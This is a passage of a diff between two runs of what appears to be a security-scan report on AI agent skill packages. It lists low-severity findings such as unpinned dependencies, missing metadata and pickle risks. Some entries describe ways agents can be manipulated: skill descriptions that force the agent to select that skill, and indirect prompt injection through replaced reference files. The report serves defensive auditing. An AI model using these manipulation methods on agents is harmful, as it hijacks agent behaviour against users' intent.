unwanted or unsolicited activation of this skill. This manipulates the agent's skill-selection logic to prefer this skill over alternatives without explicit user intent.+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Missing License and Provenance Metadata+ > The skill manifest declares 'license: Unknown' and does not specify compatibility. While the skill-author is listed as 'K-Dense Inc.', the unknown license status raises supply chain concerns about the legitimacy and trustworthiness of the package being installed.> File: `SKILL.md`- > **Remediation:** Remove the 'even when the user does not name liteparse' directive from the description. Skill activation should be based on user intent, not forced by the skill manifest itself.+ > **Remediation:** Specify a valid SPDX license identifier and compatibility information. Verify the package origin and ensure it matches the declared author before deployment.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Static Analyzer False-Positive: No Actual Exfiltration Chain Found- > The pre-scan static analyzer flagged BEHAVIOR_ENV_VAR_EXFILTRATION, BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN, and BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION. Manual review of all available code (scripts/batch_parse_dir.py, references/api_reference.md, references/ocr_and_formats.md, references/cli_reference.md, references/output_formats.md, references/choosing_a_parser.md) finds no actual network calls, no environment variable harvesting for exfiltration, and no credential access. The only environment variable mentioned is TESSDATA_PREFIX, which is a standard Tesseract configuration variable used locally. The OCR server URL (ocr_server_url) is an optional user-configured local endpoint (e.g., http://localhost:8080/ocr), not a hardcoded external exfiltration target. No cross-file exfiltration chain is present in the reviewed code. This finding is informational to document the static analyzer flags were investigated and cleared.- > File: `scripts/batch_parse_dir.py`- > **Remediation:** No remediation required. Static analyzer flags appear to be false positives based on pattern matching. Continue monitoring if additional script files (liteparse.py, assets/* files) become available for review, as those referenced files were not found in the package.--### market-research-reports — 🔵 LOW+### hypogenic — 🔵 LOW-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing allowed-tools Declaration for Bash Execution- > The skill declares allowed-tools as 'Read Write Edit Bash' but the instructions and scripts extensively invoke Python subprocess calls and external tool scripts (scientific-schematics, generate-image, research-lookup). While Bash is declared, the skill does not declare Python as an allowed tool despite the generate_market_visuals.py script using sys.executable and subprocess.run to invoke Python scripts. This is a minor inconsistency but worth noting.+- **🔵 LOW** `LLM_COMMAND_INJECTION` — Python eval/exec Usage in Code Block+ > The static analyzer flagged a Python code block using eval/exec patterns. In the SKILL.md instruction body, the `extract_label` function examples use `re.search` and string manipulation, which are benign. However, the skill instructs users to implement custom `extract_label` functions with arbitrary Python code passed as lambdas (e.g., `extract_label=lambda text: extract_your_label(text)`). While this is standard Python API design, it does mean arbitrary user-supplied code can be executed in the agent context. The risk is low given this is user-controlled configuration, not attacker-controlled input.> File: `SKILL.md`- > **Remediation:** Add Python to the allowed-tools list if Python execution is intended, or clarify that Bash covers subprocess invocations.+ > **Remediation:** Document clearly that the extract_label function executes arbitrary code and should only be supplied by trusted users. Consider adding input validation or sandboxing in the BaseTask implementation.-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Capability Claims in Description- > The skill description claims to generate reports 'in the style of top consulting firms (McKinsey, BCG, Gartner)' and references brand names of major consulting firms throughout the instructions. This could cause the skill to be activated in contexts where users are simply asking about McKinsey/BCG/Gartner reports, even when a simpler analysis would suffice. The description also claims '50+ pages' as a baseline, which may lead to disproportionate resource consumption for simple queries.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools and Compatibility Metadata+ > The skill manifest does not specify `allowed-tools` or `compatibility` fields. While these are optional per the agent skills spec, their absence means there are no declared restrictions on what tools the agent can use when executing this skill. Given the skill involves installing packages, cloning repositories, running CLI commands, and making external API calls, declaring tool restrictions would improve security posture.> File: `SKILL.md`- > **Remediation:** Scope the description more precisely to avoid over-broad activation. Clarify that the 50+ page format is optional and user-configurable.+ > **Remediation:** Add `allowed-tools` to the YAML frontmatter to explicitly declare which agent tools are needed (e.g., Bash, Python) and add `compatibility` information. This improves transparency and allows enforcement of least-privilege tool access.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned External Skill Dependencies- > The skill relies on three external skills (scientific-schematics, generate-image, research-lookup, peer-review, citation-management) by invoking their scripts via relative paths. These are treated as trusted dependencies without version pinning or integrity verification. If any of these skills are compromised or updated maliciously, the market-research-reports skill would execute their code without validation.+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Installation+ > The skill instructs users to install the `hypogenic` package via `uv pip install hypogenic` without specifying a version pin. This exposes users to supply chain risks if the PyPI package is compromised or a malicious version is published. Additionally, the skill clones external GitHub repositories (ChicagoHAI/HypoGeniC-datasets, ChicagoHAI/Hypothesis-agent-datasets) without specifying commit hashes or tags, meaning the cloned content could change over time.> File: `SKILL.md`- > **Remediation:** Document expected versions of dependent skills. Consider adding integrity checks or version pinning for dependent skill scripts before execution.+ > **Remediation:** Pin the package version (e.g., `uv pip install hypogenic==1.0.0`) and reference specific git tags or commit hashes when cloning repositories (e.g., `git clone --branch v1.0 ...`).-- **🔵 LOW** `LLM_RESOURCE_ABUSE` — Unbounded Visual Generation Loop - Potential Resource Exhaustion- > The skill instructs the agent to generate 5-6 core visuals at the start of every report, plus up to 27 additional extended visuals when using --all flag. The generate_market_visuals.py script iterates over all visuals with a 120-second timeout per image. For the full set (27+ visuals), this could consume significant compute resources and time. The instructions also say 'no token constraints' and 'write fully, don't abbreviate' for 50+ page reports, which combined with batch image generation could cause resource exhaustion.- > File: `scripts/generate_market_visuals.py:155`- > **Remediation:** Add a maximum visual count guard and warn users before generating all 27+ visuals. Consider requiring explicit user confirmation before batch generation.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — API Key Stored in Environment Variable Referenced in Config+ > The configuration template references an environment variable `OPENAI_API_KEY` for API authentication. While using environment variables is standard practice, the config template documents this pattern and the skill instructs users to configure it in `config.yaml`. If the config file is committed to version control or shared, the environment variable name and usage pattern is exposed. The risk is informational since no hardcoded secrets are present.+ > File: `references/config_template.yaml`+ > **Remediation:** Add explicit warnings in documentation to never hardcode API keys in config.yaml and to add config.yaml to .gitignore. Consider documenting use of secrets managers.-### matchms — 🔵 LOW+### lamindb — 🔵 LOW- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing allowed-tools Declaration- > The skill does not declare an 'allowed-tools' field in its YAML manifest. While this field is optional per the spec, its absence means there are no declared restrictions on what agent tools (Bash, Python, Read, Write, etc.) can be used when executing this skill. Given that the skill involves file I/O operations (reading/writing MGF, MSP, JSON, pickle files), declaring allowed tools would improve transparency and reduce the risk of unintended tool use.+ > The skill does not declare an allowed-tools field in its YAML manifest. While this is optional per the spec, the skill instructs the agent to read multiple reference files, execute Python code examples, and interact with cloud storage systems. Declaring allowed-tools would improve transparency about what agent capabilities are expected.> File: `SKILL.md`- > **Remediation:** Add an explicit 'allowed-tools' declaration to the YAML frontmatter, e.g., 'allowed-tools: [Python, Read, Write]', to constrain the agent to only the tools necessary for spectral analysis workflows.+ > **Remediation:** Add an explicit allowed-tools field to the YAML manifest listing the tools the skill requires, e.g., allowed-tools: [Read, Python, Bash].-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Dependency Installation- > The SKILL.md instructs users to install matchms using 'uv pip install matchms' without specifying a version pin. This means the installed package version is not deterministic and could be subject to supply chain attacks if a malicious version is published to PyPI. The chemistry extras variant is also unpinned.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing Compatibility Field+ > The skill does not specify a compatibility field in its YAML manifest. Given that the skill involves cloud storage, database connections, and external service integrations (AWS S3, GCS, W&B, MLflow, HuggingFace), documenting compatibility constraints would help users understand deployment requirements.> File: `SKILL.md`- > **Remediation:** Pin the dependency to a specific known-good version, e.g., 'uv pip install matchms==0.24.0'. Consider also verifying package integrity via hash checking.+ > **Remediation:** Add a compatibility field describing supported environments, e.g., compatibility: Works with Python >=3.10, requires cloud credentials for S3/GCS integrations.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Multiple Referenced Files Not Found in Package- > The SKILL.md references several files that are not present in the skill package (templates/workflows.md, templates/importing_exporting.md, matchms.py, assets/filtering.md, assets/similarity.md, assets/importing_exporting.md, assets/workflows.md, templates/filtering.md, templates/similarity.md). While the canonical references/ versions are present, the missing files could indicate an incomplete package or that the agent might attempt to locate these files from external or user-provided sources if the canonical paths fail.+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Several Referenced Files Not Found in Skill Package+ > Multiple files referenced in the SKILL.md instructions are not present in the skill package: assets/data-management.md, wandb.py, templates/data-management.md, anndata.py, assets/annotation-validation.md, templates/ontologies.md, assets/setup-deployment.md, assets/core-concepts.md, templates/integrations.md, lamindb.py, joblib.py, templates/annotation-validation.md, templates/setup-deployment.md, templates/core-concepts.md, bionty.py, assets/integrations.md, assets/ontologies.md. Missing files could indicate an incomplete package or supply chain issue where expected resources are absent.> File: `SKILL.md`- > **Remediation:** Remove references to non-existent files from SKILL.md, or ensure all referenced files are included in the skill package. This prevents the agent from searching for missing resources in unintended locations.+ > **Remediation:** Audit the skill package to ensure all referenced files are included. If these are Python library stubs or templates, document their purpose clearly. Remove references to files that are not part of the package.-### matplotlib — 🔵 LOW+### latchbio-integration — 🔵 LOW-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools Metadata- > The skill manifest does not specify the 'allowed-tools' field. While this is optional per the agent skills spec, documenting which tools are used (Python, Bash) would improve transparency and allow agents to enforce capability restrictions.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Multiple Referenced Files Not Found in Package+ > The skill references numerous files that are not present in the package: assets/data-management.md, templates/verified-workflows.md, templates/data-management.md, templates/resource-configuration.md, assets/resource-configuration.md, assets/workflow-creation.md, assets/verified-workflows.md, latch.py, templates/workflow-creation.md. The absence of latch.py is particularly notable as it is referenced as a Python file. Missing files could indicate an incomplete package or that the skill may attempt to load content from unexpected locations at runtime.> File: `SKILL.md`- > **Remediation:** Add 'allowed-tools: [Python, Bash]' to the YAML frontmatter to explicitly declare the tools this skill requires.+ > **Remediation:** Ensure all referenced files are included in the skill package. Remove references to files that do not exist, or document why they are optional. Verify that latch.py is either included or the reference is removed.++- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing License and Compatibility Metadata+ > The skill manifest does not specify a license (listed as 'Unknown') and does not declare compatibility information. While the allowed-tools field is optional, missing license information reduces transparency and provenance tracking for this skill package authored by K-Dense Inc.+ > File: `SKILL.md`+ > **Remediation:** Add a valid SPDX license identifier (e.g., 'MIT', 'Apache-2.0') and specify compatibility information in the YAML frontmatter to improve transparency and provenance.++- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Secrets Management Pattern Documented Without Security Guidance+ > The data-management reference file documents a get_secret() function for retrieving secrets within workflows. While this is a legitimate Latch SDK feature, the documentation does not include any security guidance about secret handling, storage, or the risks of logging/exposing secrets in workflow outputs. This could lead users to mishandle secrets in their bioinformatics pipelines.+ > File: `references/data-management.md`+ > **Remediation:** Add security guidance in the documentation around secret handling: avoid logging secrets, do not pass secrets as workflow parameters, and ensure secrets are not included in workflow outputs or Registry records.-### medchem — 🔵 LOW+### matlab — 🔵 LOW-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Unresolved Referenced Files May Indicate Missing Skill Components- > Several files referenced in the SKILL.md instructions (assets/rules_catalog.md, templates/rules_catalog.md, medchem.py, datamol.py, templates/api_guide.md, assets/api_guide.md) are not found in the skill package. While the two primary reference files (references/api_guide.md and references/rules_catalog.md) are present and benign, the missing files could indicate an incomplete package or that the skill was designed to load external or dynamically generated content. The references to medchem.py and datamol.py are particularly notable as these could shadow the legitimate PyPI packages of the same name if they existed.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools Specification+ > The SKILL.md manifest does not specify an 'allowed-tools' field. While this is optional per the agent skills spec, documenting which tools are used (Bash for running MATLAB/Octave, file read/write operations) would improve transparency and security posture.> File: `SKILL.md`- > **Remediation:** Audit the skill package to ensure all referenced files are present and accounted for. Remove references to non-existent files. Verify that medchem.py and datamol.py are not intended to shadow the legitimate PyPI packages.+ > **Remediation:** Add an explicit 'allowed-tools' field to the YAML frontmatter listing the tools actually used, e.g., allowed-tools: [Bash, Read, Write].### molecular-dynamics — 🔵 LOW-- **🔵 LOW** `LLM_COMMAND_INJECTION` — Static Analyzer Flag: eval/exec in Python Code Block- > The static analyzer flagged a potential eval/exec usage in a Python code block within SKILL.md. Upon manual review of all code blocks in the instruction body, no actual use of eval(), exec(), or os.system() with user-controlled input was found. The flag appears to be a false positive — likely triggered by the word 'exec' appearing in a comment or import context (e.g., 'exec' in 'execute'). No exploitable command injection pattern is present in the provided code.+- **🔵 LOW** `LLM_COMMAND_INJECTION` — Python eval/exec Usage Flagged by Static Analyzer+ > The static analyzer flagged a potential eval/exec usage in a Python code block within SKILL.md. Upon review, the code blocks in this skill do not contain explicit eval() or exec() calls with user-controlled input. The flag may be a false positive from pattern matching on library method names or string content. No actual command injection risk was identified in the provided code samples.> File: `SKILL.md`- > **Remediation:** Review the specific line flagged by the static analyzer to confirm it is a false positive. If any eval/exec usage is introduced in future versions, ensure it never operates on user-controlled input.+ > **Remediation:** Review the specific code block flagged by the static analyzer to confirm no eval/exec with unsanitized user input is present. If confirmed as a false positive, no action is needed.-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Referenced Files Not Found in Skill Package- > The SKILL.md references several files (matplotlib.py, openff.py, openmm.py, MDAnalysis.py, pdbfixer.py) that are not present in the skill package. These appear to be Python library module names mistakenly parsed as referenced files rather than actual bundled resources. This is likely a parser artifact rather than a genuine threat, but the absence of expected files could cause confusion or unexpected behavior if the agent attempts to locate them.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools and compatibility Metadata+ > The SKILL.md manifest does not specify 'allowed-tools' or 'compatibility' fields. While these are optional per the agent skills spec, their absence means there are no declared restrictions on which agent tools this skill may invoke. Given that the skill executes GPU-accelerated MD simulations and file I/O operations, declaring allowed tools would improve transparency and reduce the risk of unintended tool use.> File: `SKILL.md`- > **Remediation:** Clarify in SKILL.md that these are external library imports, not bundled skill files. Ensure the skill package is complete and all genuinely referenced internal files are included.+ > **Remediation:** Add 'allowed-tools' to the YAML frontmatter listing the tools actually needed (e.g., Python, Bash, Read, Write). Add 'compatibility' to clarify supported environments.- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Dependencies in Installation Instructions- > The installation instructions recommend installing openmm, mdanalysis, nglview, openff-toolkit, and related packages without version pins. Unpinned dependencies are vulnerable to supply chain attacks where a malicious package version could be published and automatically installed. This is a low-severity concern for a documentation/instruction skill with no executable scripts, but worth noting for users who follow the installation guidance.- > File: `SKILL.md:14`- > **Remediation:** Pin dependency versions in installation instructions (e.g., pip install openmm==8.1.0 mdanalysis==2.7.0). Consider providing a requirements.txt or conda environment.yml with pinned versions for reproducibility and supply chain safety.+ > The installation instructions recommend installing packages without version pins (e.g., 'pip install openmm mdanalysis', 'pip install openff-toolkit'). Unpinned dependencies are vulnerable to supply chain attacks where a malicious or compromised package version could be installed. This is particularly relevant for scientific computing packages that may have complex dependency trees.+ > File: `SKILL.md`+ > **Remediation:** Pin package versions in installation instructions (e.g., 'pip install openmm==8.1.0 mdanalysis==2.7.0'). Consider providing a requirements.txt or conda environment.yml with pinned versions for reproducibility and security.### molfeat — 🔵 LOW-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Pickle Warning Present but No Enforcement Mechanism- > The skill documentation warns against using pickle for caching embeddings due to arbitrary code execution risk when loading untrusted files, and recommends NumPy's npz format instead. While this is good security guidance, the skill provides no enforcement mechanism. Users following examples from other sources may still use pickle. The warning is present in both SKILL.md and references/examples.md, which is positive, but the risk remains if users deviate from the recommended pattern.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing allowed-tools Restriction for Network Access+ > The skill declares allowed-tools as [Read, Write, Edit, Bash], which permits Bash execution. The instructions guide users to install packages via 'uv pip install' and reference external URLs (HuggingFace, GitHub, PyPI). While this is expected behavior for a cheminformatics skill that downloads pretrained models, the Bash tool permission combined with network-capable package installation and model downloads from external sources (HuggingFace Hub, DGL-LifeSci) represents a moderate data flow boundary. The skill itself does not exfiltrate data, but the broad Bash permission enables arbitrary network operations.> File: `SKILL.md`- > **Remediation:** The skill already provides good guidance. Consider adding a more prominent warning or a code example that explicitly shows what NOT to do (pickle) alongside the recommended approach (npz). This is informational only.+ > **Remediation:** Document explicitly in the skill manifest which external network endpoints are expected (PyPI, HuggingFace Hub, GitHub). Consider adding a note in the description about network access requirements for pretrained model downloads.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Missing Version Pins for Some External Dependencies- > The skill references external packages such as MAP4 from GitHub (reymond-group/map4) without specifying a pinned version or commit hash. While the molfeat package itself is pinned to 0.11.0, the MAP4 external dependency from GitHub has no version constraint mentioned, which could expose users to supply chain risks if the upstream repository is compromised or changes behavior.+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — External Package Installation Without Full Version Pinning for All Dependencies+ > The skill recommends installing molfeat with pinned versions (e.g., 'molfeat==0.11.0'), which is good practice. However, transitive dependencies such as datamol, PyTorch, DGL, and graphormer-pretrained are not pinned. The skill notes 'upstream recommends dgl<=2.0' but does not enforce a specific version. Unpinned transitive dependencies could be subject to supply chain attacks if a malicious version is published to PyPI or conda-forge.> File: `SKILL.md`- > **Remediation:** Recommend pinning the MAP4 GitHub dependency to a specific commit hash or tagged release when documenting installation instructions. Example: pip install git+https://github.com/reymond-group/map4.git@<commit-hash>+ > **Remediation:** Recommend users generate a full requirements lockfile (e.g., uv pip compile or pip freeze) after installation to capture exact transitive dependency versions. Document known-good dependency versions in the skill's compatibility notes.- **🔵 LOW** `LLM_COMMAND_INJECTION` — Python eval/exec Usage in Code Examples- > The static analyzer flagged a potential eval/exec usage in a Python code block. After reviewing all code examples in the skill's markdown files, no actual eval() or exec() calls were found in the skill's own code. The flag may be a false positive from pattern matching. The skill's code examples use standard library calls (numpy, sklearn, torch) without dynamic code execution. No actual injection risk was identified in the skill's own code.+ > The static analyzer flagged a potential eval/exec usage in the Python code blocks. After reviewing all code examples in the skill's markdown files, no actual eval() or exec() calls were found in the skill's own code. The code examples demonstrate legitimate molecular featurization workflows. This appears to be a false positive from the static scanner, but is noted for completeness.> File: `references/examples.md`- > **Remediation:** No action required. The static analyzer flag appears to be a false positive. Continue to avoid eval/exec in any future code additions to this skill.+ > **Remediation:** No action required. Confirm static scanner finding is a false positive by reviewing all code blocks manually.### networkx — 🔵 LOW-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Overly Broad Skill Description May Cause Excessive Activation- > The skill description is very broad: 'Comprehensive toolkit for creating, analyzing, and visualizing complex networks and graphs in Python. Use when working with network/graph data structures... Applicable to social networks, biological networks, transportation systems, citation networks, and any domain involving pairwise relationships.' While this accurately describes NetworkX's capabilities, the expansive list of applicable domains and the instruction to use it for 'any domain involving pairwise relationships' could cause the agent to invoke this skill more broadly than intended, potentially displacing more specific skills.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing allowed-tools Declaration+ > The skill does not declare an allowed-tools field in its YAML manifest. While this is optional per the spec, the skill instructs the agent to execute Python code, install packages via bash (uv pip install), read and write files in various formats, and interact with databases. Declaring allowed-tools would improve transparency about the skill's required capabilities and help enforce least-privilege access.> File: `SKILL.md`- > **Remediation:** Consider scoping the description more precisely to the core use cases. Avoid 'any domain' language that could cause over-broad activation. Specify concrete trigger conditions rather than open-ended applicability statements.+ > **Remediation:** Add an explicit allowed-tools declaration to the YAML manifest listing the tools actually needed: [Python, Bash, Read, Write]. This improves security posture through explicit capability declaration.-- **🔵 LOW** `LLM_COMMAND_INJECTION` — Use of eval/exec in Python Code Blocks- > The static analyzer flagged a Python code block containing eval or exec usage within the skill's reference documentation. While the code blocks in the reference files appear to be legitimate NetworkX usage examples (e.g., graph algorithms, I/O operations), the presence of eval/exec patterns warrants noting. Reviewing the content, the flagged pattern likely relates to standard Python constructs in the examples rather than explicit malicious eval/exec calls. No direct eval/exec with user-controlled input was identified in the reviewed content, but the flag indicates a pattern worth verifying in the full file set.- > File: `references/algorithms.md`- > **Remediation:** Review the specific code block flagged by the static analyzer to confirm it does not pass user-controlled input to eval() or exec(). If the code block is purely illustrative, add a comment clarifying it is an example only. Avoid including eval/exec patterns in skill documentation unless strictly necessary.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Overly Broad Skill Description and Activation Triggers+ > The skill description is very broad, claiming applicability to 'social networks, biological networks, transportation systems, citation networks, knowledge graphs, or any system involving relationships between entities.' While this accurately reflects NetworkX's capabilities, the description is designed to maximize activation across a wide range of user queries. The 'When to Use This Skill' section lists many diverse trigger conditions. This is borderline but within acceptable bounds for a legitimate utility skill.+ > File: `SKILL.md`+ > **Remediation:** This is a minor concern for a legitimate utility skill. No immediate action required, but consider scoping the description more precisely if activation conflicts with other skills arise.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Pickle Deserialization Risk in Reference Documentation- > The references/io.md file documents the use of Python's pickle module for graph serialization/deserialization (nx.read_gpickle, nx.write_gpickle, pickle.load). Pickle deserialization of untrusted data is a well-known arbitrary code execution vector. While this is presented as documentation rather than executable skill logic, if an agent follows these instructions on user-provided pickle files, it could lead to arbitrary code execution on the user's machine.+- **🔵 LOW** `LLM_COMMAND_INJECTION` — Python eval/exec Usage in Code Examples+ > The static analyzer flagged a Python code block using eval/exec within the skill's reference documentation. Reviewing the referenced files, the code examples in references/io.md include use of `exec`-like patterns indirectly through pickle deserialization (`pickle.load`), which can execute arbitrary code when loading untrusted pickle files. The skill instructs users to use `nx.read_gpickle` and `pickle.load` without warning about the security risks of loading untrusted pickle files. Pickle deserialization is a well-known arbitrary code execution vector.> File: `references/io.md`- > **Remediation:** Add a prominent warning in the documentation that pickle files from untrusted sources should never be loaded, as they can execute arbitrary code during deserialization. Recommend safer alternatives (GraphML, JSON, edge lists) for loading graphs from external or user-provided sources. The skill instructions should explicitly warn the agent not to load pickle files provided by users without explicit user acknowledgment of the risk.+ > **Remediation:** Add explicit security warnings in the documentation noting that pickle files should only be loaded from trusted sources, as pickle deserialization can execute arbitrary code. Recommend safer alternatives like GraphML or JSON for untrusted data sources.### neurokit2 — 🔵 LOW- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing allowed-tools Declaration- > The skill manifest does not declare an `allowed-tools` field. While this field is optional per the agent skills spec, its absence means there are no declared restrictions on what tools the agent may use when executing this skill. Given that the skill instructs the agent to use the Read tool to load reference files, and the skill involves processing potentially sensitive physiological data, explicit tool restrictions would improve the security posture.+ > The skill does not declare an allowed-tools field in its YAML manifest. While this field is optional per the agent skills specification, its absence means there are no declared restrictions on what tools the agent may use when executing this skill. Given that the skill instructs the agent to use the Read tool to load reference files, and the instructions include Python code examples that could be executed, explicit tool restrictions would improve the security posture.> File: `SKILL.md`- > **Remediation:** Add an explicit `allowed-tools` declaration to the SKILL.md YAML frontmatter, limiting the skill to only the tools it actually needs (e.g., Read, Python) to reduce the attack surface.+ > **Remediation:** Add an explicit allowed-tools declaration to the YAML manifest. For a documentation/reference skill like this, consider restricting to [Read, Python] or similar minimal set appropriate to the skill's actual needs.-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Capability Description May Trigger Unintended Activation- > The skill description is extremely broad, covering ECG, EEG, EDA, RSP, PPG, EMG, EOG, HRV, ERP, complexity measures, autonomic nervous system assessment, psychophysiology research, and multi-modal physiological signal integration. While this accurately reflects the NeuroKit2 library's scope, the description is so comprehensive that it may cause the agent to activate this skill for a very wide range of loosely related queries, potentially displacing more appropriate skills or tools.+- **🔵 LOW** `LLM_PROMPT_INJECTION` — Instruction to Load External Reference Files Without Validation+ > The SKILL.md instructions direct the agent to load reference files using the Read tool ('Load specific reference files as needed using the Read tool to access detailed function documentation and parameters'). While the referenced files appear to be internal skill package files, many of the referenced paths were not found (assets/eda.md, templates/bio_module.md, assets/emg.md, etc.), and the file list includes paths across multiple subdirectories (references/, assets/, templates/). If any of these files were replaced with malicious content or if the agent is directed to load user-provided file paths, this could introduce indirect prompt injection. The inconsistency between referenced paths and found files also suggests the skill package may be incomplete or the file structure is not well-controlled.> File: `SKILL.md`- > **Remediation:** Scope the description to the most common use cases. Consider splitting into more focused sub-skills if the breadth causes unintended activation in practice.+ > **Remediation:** Enumerate the exact set of internal reference files the agent should load rather than using open-ended instructions. Validate that all referenced files exist in the skill package. Avoid patterns that could be extended to load user-provided or external file paths.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Installation Instruction- > The SKILL.md instructions include a command to install the neurokit2 package without a pinned version, and also include a direct GitHub zipball install for the development version. Unpinned installs are vulnerable to supply chain attacks where a malicious version could be published to PyPI or the GitHub repository could be compromised. The dev install from GitHub is particularly risky as it pulls from an unversioned, potentially unstable branch.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Capability Description May Trigger Unintended Activation+ > The skill description is extremely broad, listing nearly every physiological signal type and analysis domain (ECG, EEG, EDA, RSP, PPG, EMG, EOG, HRV, ERP, complexity, autonomic, psychophysiology, multi-modal). While this accurately reflects the NeuroKit2 library's scope, the description functions as a keyword-dense activation trigger that could cause the skill to be invoked for loosely related queries. The description includes phrases like 'Use this skill when processing cardiovascular signals, brain activity, electrodermal responses, respiratory patterns, muscle activity, or eye movements' which covers a very wide range of topics.> File: `SKILL.md`- > **Remediation:** Pin the package to a specific known-good version (e.g., `uv pip install neurokit2==0.2.7`). Avoid recommending the development GitHub zipball install in production skill instructions, or at minimum warn users about the risks of installing from an unversioned development branch.+ > **Remediation:** Consider scoping the description more precisely to the specific use cases this skill is intended to serve, rather than listing every possible signal type and analysis domain. This reduces the risk of unintended activation for tangentially related queries.-- **🔵 LOW** `LLM_UNAUTHORIZED_TOOL_USE` — Many Referenced Files Not Found in Skill Package- > The skill references a large number of files (templates/hrv.md, assets/eog.md, neurokit2.py, assets/epochs_events.md, assets/eda.md, assets/ecg_cardiac.md, assets/rsp.md, templates/signal_processing.md, assets/bio_module.md, templates/bio_module.md, templates/eda.md, assets/hrv.md, templates/eeg.md, templates/emg.md, templates/epochs_events.md, templates/ecg_cardiac.md, assets/signal_processing.md, templates/complexity.md, templates/rsp.md, assets/eeg.md, assets/emg.md, assets/complexity.md, templates/eog.md, neurokit2.py) that were not found in the skill package. The instruction 'Load specific reference files as needed using the Read tool' combined with missing files could cause the agent to search for or attempt to read files outside the skill directory, or could indicate an incomplete/tampered package.+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Installation Instruction+ > The SKILL.md instructions include a command to install the neurokit2 package without a pinned version, and also include a direct GitHub zipball install from the development branch. Unpinned installations are vulnerable to supply chain attacks where a malicious version could be published to PyPI or the GitHub repository could be compromised. The dev branch install is particularly risky as it bypasses stable release vetting.> File: `SKILL.md`- > **Remediation:** Ensure all referenced files are included in the skill package. Audit the file references to remove stale or incorrect paths. Consider using a manifest validation step to verify all referenced files exist before deployment.+ > **Remediation:** Pin the package to a specific known-good version (e.g., `uv pip install neurokit2==0.2.7`). Avoid recommending installation directly from the development branch of GitHub repositories in production skill instructions. If the dev version is needed, document the specific commit hash and security implications.### neuropixels-analysis — 🔵 LOW-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Activation Trigger Keywords in Description- > The skill description contains an extensive list of trigger keywords designed to activate the skill across a very wide range of neural recording topics: 'neural recordings, spike sorting, extracellular electrophysiology, Neuropixels, SpikeGLX, Open Ephys, Kilosort, quality metrics, unit curation'. While these are legitimate domain terms, the explicit enumeration of activation triggers in the description field is a pattern consistent with keyword baiting to maximize skill invocation frequency.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Unpinned Dependency Versions in Installation Instructions+ > The SKILL.md installation section recommends installing packages without pinning versions for most dependencies (e.g., 'uv pip install "spikeinterface[full]" probeinterface neo', 'uv pip install kilosort', etc.). While the instructions mention pinning for production and provide example pinned versions, the primary install commands are unpinned. This could allow a compromised or malicious package version to be installed, potentially leading to supply chain compromise or unexpected behavior.> File: `SKILL.md`- > **Remediation:** Reduce the description to a concise functional summary without explicit enumeration of activation keywords. Let the skill's natural domain coverage determine when it is invoked.+ > **Remediation:** Pin all dependencies to specific versions in the primary install commands. The skill already mentions pinned versions (spikeinterface==0.104.3, kilosort==4.1.7, etc.) — move these to the primary install commands rather than treating them as optional.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Dependencies in Installation Instructions- > The SKILL.md installation section uses unpinned pip install commands for all dependencies (spikeinterface, probeinterface, neo, kilosort, spykingcircus, mountainsort5, neuropixels-analysis, anthropic, ibl-neuropixel, ibllib). Without version pins, these installations are vulnerable to supply chain attacks where a malicious package update could compromise the analysis environment. The 'neuropixels-analysis' package in particular is a third-party package whose provenance is not verifiable from the skill manifest alone.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools Manifest Field+ > The SKILL.md YAML frontmatter does not specify the 'allowed-tools' field. While this is an optional field per the agent skills spec, its absence means there are no declared restrictions on which agent tools this skill can use. The skill executes Python scripts, reads/writes files, and performs significant compute operations. Declaring allowed tools would improve transparency and enable enforcement of least-privilege access.> File: `SKILL.md`- > **Remediation:** Pin all dependencies to specific verified versions (e.g., 'pip install spikeinterface==0.101.0'). Consider using a requirements.txt or pyproject.toml with hashed dependencies. Verify the 'neuropixels-analysis' package is from a trusted source.+ > **Remediation:** Add an explicit 'allowed-tools' field to the YAML frontmatter listing the tools actually needed 